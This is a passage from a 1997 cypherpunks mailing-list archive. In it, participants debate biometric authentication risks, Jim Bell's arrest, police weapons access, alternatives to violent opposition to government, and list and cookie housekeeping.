that is, if you swung your arm in a circle to increase the blood
pressure in your hand, they would give a false reading, because of the
swelling in the fingers would be sufficient to throw off the
recognition software -- a smart card isn't *that* smart.  A problem 
of false negatives.

If you cut off a finger the blood pressure will go to zero, and the 
dimensions will change quite a bit, relatively speaking.

> I will take you one further... *When you implement a biometric system you
> are deciding that the value of that which is being protected is greater
> than the value of the lives of the people who have access to it.*
> 
> This is obvious if you look at the trade-offs. You are securing the system
> such that the easiest way to break it is to kill a person. Obviously this
> will reduce your instances of fraud, as killing a person is more messy
> then hacking a pin code. However, because the cost of killing someone is
> smaller than the value of the object being protected, there are going to
> be losses. You have to decide that you are capable of swallowing those
> losses. You have to decide that the value of the decrease in fraud over
> a non-biometric system is greater than that of the lives of the people who
> are lost when fraud does occur. This is a despicable situation, but don't
> think you won't see it. It is probably inevitable now. 

You don't have to kill or maim some to induce cooperation, and
biometric devices can be designed to pretty much require that the
subject be living.  Extortion or seduction are both quite viable, and 
work with any security system.  Biometrics don't really add 
anything.

Your point is just as meaningful for cryptography.  All strong crypto 
does is move the weak spot around.

Incidentally, I have heard (from a probably reliable source) that the
best biometric is a retina scan -- very reliable, hard to spoof,
*very* few false negatives.  [False positives are real bad for any
security system, of course.  False negatives are why you want back up
modes of access.]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 12:43:06 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705230434.XAA25146@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:

>Bell was arrested Friday on a federal complaint charging him with 
>obstructing and impeding the Internal Revenue Service and the use  of
>false Social Security numbers.  The complaint said that documents  found
>on Bell's computer boasted of the mercaptan attack on the office of a
>Portland lawyer who had sued him.

<sigh> I would have thought that Jim would be smarter than leaving such
info on his computer unencrypted. I find it equally troubling that he
would put such info in "writting" to begin with.

Ofcource since no inventory was done of the documents contained on his HD
the FEDS could plant anything that they wanted with little hope of proving
that they did.

I'm not quite sure how one could counter against such an attack. Even if
one stored all documents in an encrypted partition there are still
protions of the HD that the OS will require to be unencrypted. Perhaps
have a boot disk that would decrypt the OS section of the HD then boot the
OS off the HD which then would use a crypto IFS to accesses the remainder
of the drive. Even going to these lenghts they could just put what they
wanted on a floppy and claim that they "found" it.

I guess the only *real* solution is to get rid of the thugs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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jaXKrhmHcK7XCcyhRtGpcAJbpuVcMZOJQZ9Plwy82PZrz22kEXQAvyJTVkt10PKV
elV2lDV1fR8=
=fy2A
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:28:58 +0800
To: cypherpunks@algebra.com
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <19970522231339.17428@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 11:11:56PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
><sigh> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.

[...]

>I guess the only *real* solution is to get rid of the thugs.

Possibly the real solution is not to do stupid things.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 11:40:09 +0800
To: John Deters <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: <v03020962afaabbb3bab6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 pm -0400 on 5/22/97, John Deters wrote:


> Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
> Metering and charging e$ for mail-routing services would allow it to occur
> while stopping the freeloaders.

The tragedy of the commons, of course, is that nobody owns it. :-).

Eric Hughes and his penny-roll experiments to the contrary...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:40:38 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: <19970522232331.08458@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:
> Hi,
> 
> It occured to me that if the police have no civil liberties extending beyond
> that of a citizen and citizens are not legaly permitted access to military
> hardware then neither should the police.
[...]
> If a police officer can buy body armor and automatic weapons for self
> defence then so can a citizen.

[...]

> Do police have any civil rights not endowed to a individual citizen?

No.  But on the job, doing their state assigned duties, they have
access to instrumentalities not available to private citizens or
off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
in practice, but the principle is clear.  It isn't a big deal, and
it's not a matter of civil rights.  A license to practice medicine
gives you the ability to prescribe morphine.  A certain class of
drivers license lets you drive a school bus full of children. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 23 May 1997 14:36:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232436.00703270@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 23 May 1997 14:41:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232759.0068cfb4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 23 May 1997 17:59:03 +0800
To: tzeruch@ceddec.com
Subject: Re: Compelling a key (fwd)
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: <3.0.1.32.19970522233520.00738744@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 PM 5/22/97 -0400, you wrote:
>Why does everyone still have cypherpunks@toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

Cypherpunks@toad.com still forwards the list to
cypherpunks@algebra.com and cypherpunks@cyberpass.net and
probably other locations.  So you can send postings to cypherpunks@toad.com
and they'll forward on to the lists.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Fri, 23 May 1997 15:11:56 +0800
To: Steve Schear <cypherpunks@toad.com>
Subject: Re: FCPUNX:The USA is the world's biggest terrorist state
Message-ID: <199705230643.XAA01877@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:56 PM 5/21/97 -0700, Steve Schear wrote:
> The US is in very real danger of reaping the same sort of maelstrom that
> vanquished the Romans.  They were also very powerful, with tentacles
> reaching almost to the limits of their known world, before a combination of
> internal decay and dissention and reprisal from those vanquished put them
> asunder.

Regrettably, this depiction of the fall of the Roman Empire is incorrect.

During the last period of the Roman empire in the west, the empire was
both very weak, and extraordinarily brutal to its subjects, torturing
to death huge numbers of people on a scale no seen again until the
twentieth century.

Despite this they never encountered any resistance from their terrorized
subjects.

Only free people , and people who recently were comparatively
free, rebel.

A world government would not fall until it had tortured to death
such a large proportion of the population that there was enough
wilderness to protect runaways, or until its technological level
fell so low that its communications stopped working.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 23 May 1997 15:00:05 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <33853CBA.2781@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> In late April 1984, someone broke into law offices at 1123 S. W.
> Yamhill St. and poured a liquid on a hallway run that was so
> odorous it made at least one of the lawyers who smelled it vomit
> twice.

What's the statute of limitations on stink bombs?  Surely, it's too
late to prosecute him for this?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: decius@ninja.techwood.org (Decius 6i5)
Date: Fri, 23 May 1997 12:50:03 +0800
To: cypherpunks@toad.com
Subject: New Chip Verifies Fingerprints (fwd)
Message-ID: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Veridicom, a spinoff of Lucent Technologies, just demoed (at
> CardTech/SecurTech '97) their chip that can perform fingerprint
> recognition/authorization.  They plan on selling them for $300 each
> (same cost as this face recognition system Gregory's mentioned).  The
> article doesn't say when they will be available.
>
> http://www.sfgate.com/cgi-bin/chronicle/article.cgi?file=BU41045.DTL&
> directory=/chronicle/archive/1997/05/22

I am mailing this to cypherpunks and BCCing the original list because it
is not nearly as open. I am putting on my cypherpunk hat here, and
although this is not a general discussion list I think this warrants
comment. (I would also like to see what the cypherpunks have to say.)

Eric Hughes said that "Cryptography is about economics."

When I am designing a system, I weigh the cost of securing the system
verses the expected loss that will be incurred if the system is not
secure. The cellular phone industry decided that it would cost them more
to secure their system than it would to swallow the losses. They were
wrong, but I will not digress into that. The point here is clear. Security
is an economic choice. It is a business decision. Furthermore, if I decide
to secure a system, I need only use enough security such that the cost to
break that security is equal to the value of that which is being secured.
Any additional security is a waste of money. 

When I am breaking a system I will always attack the weakest link (unless
I am doing this for intellectual challenge but that is not really the
point here). This is obvious. Lets take a look at a sample Biometric
security system: Fingerprints are used to replace the pin codes on an ATM.

I am being very general here, but there are four main peices to this
system. The banking network itself, which is DES encrypted, the ATM,
the biometric system and the human being. Note the contrast with a
non-biometric system, which consists of the network, the ATM, and
a pin code. Biometrics pull the human into the equation. 

Cracking DES would cost more than a million dollars. 
I can't put a value on cracking the ATM, but they are designed to be
difficult to open up and most are in places where they are very visible,
so the cost is very high. 
I have not seen anyone present a method for attacking a biometric security
device. If you assume that you will have to develop one you are again
talking about millions. 
How about "cracking" the human... How much does a good sturdy knife cost?
Less than $20.

If I get mugged and the mugger wants access to my bank account all he has
to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
Biometrics create an general economic incentive for maiming or murdering
people.    

I will take you one further... *When you implement a biometric system you
are deciding that the value of that which is being protected is greater
than the value of the lives of the people who have access to it.*

This is obvious if you look at the trade-offs. You are securing the system
such that the easiest way to break it is to kill a person. Obviously this
will reduce your instances of fraud, as killing a person is more messy
then hacking a pin code. However, because the cost of killing someone is
smaller than the value of the object being protected, there are going to
be losses. You have to decide that you are capable of swallowing those
losses. You have to decide that the value of the decrease in fraud over
a non-biometric system is greater than that of the lives of the people who
are lost when fraud does occur. This is a despicable situation, but don't
think you won't see it. It is probably inevitable now. 

One additional point. The possibilities for surveilance inherent in
biometrics are fearsome. If I managed to compile a large database of
people's names, social security numbers, and face prints; I could set up a
closed circuit camera system in my store which would provide me with the
name, home address, credit, and other information about every person who
enters my business, AUTOMATICALLY, without the customers even being
cognisant that this is going on. The marketing people will be going nutz
over this possibility. I'm going to the drug store for some Pepto... 
  

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius@ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 16:18:32 +0800
To: cypherpunks@algebra.com
Subject: Re: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: <v03102801afaafa5c878b@DialupEudora>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM -0700 5/22/97, Kent Crispin wrote:
>On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:

>> Do police have any civil rights not endowed to a individual citizen?
>
>No.  But on the job, doing their state assigned duties, they have
>access to instrumentalities not available to private citizens or
>off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
>in practice, but the principle is clear.  It isn't a big deal, and
>it's not a matter of civil rights.  A license to practice medicine
>gives you the ability to prescribe morphine.  A certain class of
>drivers license lets you drive a school bus full of children.

There is a current case involving a cop who is on the verge of losing his
ability to be a cop because he pled "nolo contendre" to a domestic abuse
charge a decade or so ago. The local law says that anyone in this situation
may not have a gun, period. Thus, now that the law has caught up with him
(no details on how and why this was not known until recently) he may not
have a gun and thus may well lose his job.

This would seem to support Jim Choate's general position. (Though I have my
own skepticism that many jurisdictions think it is true.)

I have no problem with the notion that there is no weapon, no technology
which certain government officials or police may have but which civilians
are *not* allowed to have. I don't think the Founders envisioned any such
circumstances.

The usual cited case is of private ownership of nuclear weapons. For an
interesting treatment of this, see Vernor Vinge's "The Ungoverned." I'm not
persuaded that the extreme cases of nuclear weapons and aircraft carriers
have much to do with anything. I certainly think "assault weapons" are
perfectly fine for individuals to own...even machine guns, which friends of
mine have owned.

(The Founders didn't know about nuclear weapons and biological weapons, but
they surely knew about various other deadly compounds, including deadly
poisons and the like. And yet there is no mention in the Constitution or
related papers that some of these substances may be owned by the police but
not by citizens. "Forbidden knowledge" is the relevant concept here. Of
course, what do you expect from a system which outlaws gambling but then
has the State running gambling operations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 16:33:43 +0800
To: cypherpunks@toad.com
Subject: Re: Not that I'm a troublemaker, but...
Message-ID: <199705230755.AAA00034@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


I was watching the national news broadcast a picture of the key to
the Ryder truck that was purportedly found near where McVeigh's car
was allegedly parked.
  I thought it would be an interesting project for someone with the
proper technological tools to take the picture and add a graphic of
the "bloody glove" beside it.

Key Asscrole






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 16:22:11 +0800
To: cypherpunks@algebra.com
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <v03102802afaafdd55887@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:44 PM -0700 5/22/97, Tom Weinstein wrote:
>Alan Olsen wrote:
>>
>> In late April 1984, someone broke into law offices at 1123 S. W.
>> Yamhill St. and poured a liquid on a hallway run that was so
>> odorous it made at least one of the lawyers who smelled it vomit
>> twice.
>
>What's the statute of limitations on stink bombs?  Surely, it's too
>late to prosecute him for this?
>

Good point! This didn't even occur to me (nor apparently to the writer of
the article, nor maybe even to the cops).

It sure looks like they're trying to throw a bunch of charges against the
wall and hope that some of them stick...or scare Bell into pleading to a
lesser charge, etc.

Seems to me a good attorney could carefully dissect the "innuendo charges"
(e.g., undermining the government, stink bombs long in the past, manifestos
calling for AP, etc.) and separate them from each other, leaving very
little of substance to get a conviction on.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Fri, 23 May 1997 17:04:06 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <v03007803afa82e2d94a2@[207.94.249.80]>
Message-ID: <Pine.BSI.3.91.970523014805.25486b-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 20 May 1997, Bill Frantz wrote:

> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

The SysAdmin for the domain has installed AccessWatch for maintaining an 
HTML version of hit statistics for the server. This application is doing 
what you mention above. There is no nefarious purpose in trying to get 
you to my page. Check out: http://www.dis.org/access to see what all the 
cookies being sent are being used for.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 23 May 1997 17:19:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705230852.BAA32187@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 11:32:18PM -0800, Tim May wrote:
> At 9:44 PM -0800 5/21/97, one of the KCs wrote:
> 
> >I should have posted my comment anonymously, obviously.  I appologize
> >to Mr Hun and the world for my mistake.  I must have confused him
> >with one of the TMs.
> 
> One of the TMs? How could you mistake Attila for me?

Truth Monger, Trash Mongrel, Trivia Monster, Tripe Master, Terror
Minion -- there are lot's of TMs.  Maybe they are all the same. 

KC #0  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 18:07:14 +0800
To: frissell@panix.com
Subject: Re: Forgeries are your Friend
In-Reply-To: <3.0.2.32.19970522203625.03fffe64@panix.com>
Message-ID: <Pine.SOL.3.96.970523023457.18364A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997 frissell@panix.com wrote:

> So far in my close observation of the history of American jurisprudence I 
> haven't seen too many written things that were legal at one point and later 
> became (criminally) illegal. 

I was thinking more of talking about things you do which are now legal but
later banned. For example a signed admission of smoking followed by a ban
and 'war on tobacco'. Not enough to lock you away for, but possibly enough
to make you a candidate for a dawn raid by the 'jackbooted fascists'; I'm
sure that if you had a nice piece of land to seize the message would be
used as evidence to back up an 'anonymous tip' about cigarette dealing in
order to get a warrant. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 23 May 1997 15:45:45 +0800
To: Greg Broiles <gbroiles@c2.net>
Subject: Re: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: <3.0.1.32.19970523032158.00a8d9e0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


